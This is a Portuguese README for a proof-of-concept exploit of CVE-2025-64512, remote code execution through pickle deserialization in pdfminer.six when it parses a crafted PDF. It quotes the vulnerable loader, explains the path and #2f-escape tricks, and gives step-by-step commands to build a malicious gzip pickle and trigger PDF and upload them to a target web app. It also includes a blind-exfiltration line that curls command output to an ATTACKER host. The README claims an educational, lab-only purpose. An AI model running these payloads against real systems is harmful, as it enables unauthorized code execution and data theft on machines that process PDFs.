
PoC para CVE-2025-64512: RCE por desserialização de pickle no CMapDB do pdfminer.six via PDF malicioso
CMapDB do pdfminer.sixProva de conceito de uma vulnerabilidade de desserialização no pdfminer.six
que leva à execução arbitrária de código ao analisar um PDF malicioso.
FINALIDADE / AVISO LEGAL Este repositório é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. Ele reproduz uma CVE divulgada publicamente e corrigida. Não o utilize contra sistemas que você não possui ou para os quais não tenha permissão por escrito para testar. O autor não é responsável por qualquer uso indevido. Ambiente pretendido: Hack The Box / VulnHub / laboratório local.
pdfminer.six anterior a 2025050620250506Em cmapdb.py, CMapDB._load_data() lê um arquivo CMap cujo nome é derivado
da entrada /Encoding de uma fonte PDF e passa o conteúdo para
pickle.loads():
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
Três propriedades se combinam para tornar isso explorável:
pickle.loads() em dados controlados pelo atacante -> execução arbitrária de código.os.path.join() descarta o
diretório de pesquisa e abre o arquivo nesse caminho exato..pickle.gz é anexado automaticamente, portanto o caminho é fornecido sem
a extensão.A exploração precisa de dois arquivos enviados para o aplicativo web vulnerável:
payload.pickle.gz — um pickle compactado com gzip cujo __reduce__
executa um comando e retorna um dicionário em formato CMap (para que o parsing
continue normalmente após o payload ser disparado).trigger.pdf — um PDF mínimo que usa uma Type0/CIDFont cuja fonte
/Encoding aponta para o caminho absoluto do pickle (sem extensão).Dois detalhes no nível do PDF importam:
CMapDB.get_cmap() só é alcançado através de uma CIDFont (uma fonte Type0
com uma entrada DescendantFonts), não uma fonte Type1 simples./, portanto o caminho codificado
deve começar com #2f para preservar a barra inicial do caminho absoluto.
As barras internas também são #2f porque / é um delimitador de nome.Quando o alvo analisa o PDF (por exemplo, um observador em segundo plano chamando
pdf2txt.py), CMapDB._load_data() abre o pickle e executa o comando.
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Upload both files to the vulnerable PDF upload form, then wait for
# the processing watcher to pick up trigger.pdf
Verificado de ponta a ponta contra pdfminer.six 20250416 (vulnerável): executar
pdf2txt.py trigger.pdf executa o comando do payload e sai com código 0.
O comando do payload é cego; exfiltre via callback, por exemplo:
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| Arquivo | Finalidade |
|---|---|
make_payload.py | Gera o payload.pickle.gz malicioso |
make_trigger_pdf.py | Gera o PDF de gatilho /Encoding com offsets xref corretos |
20250506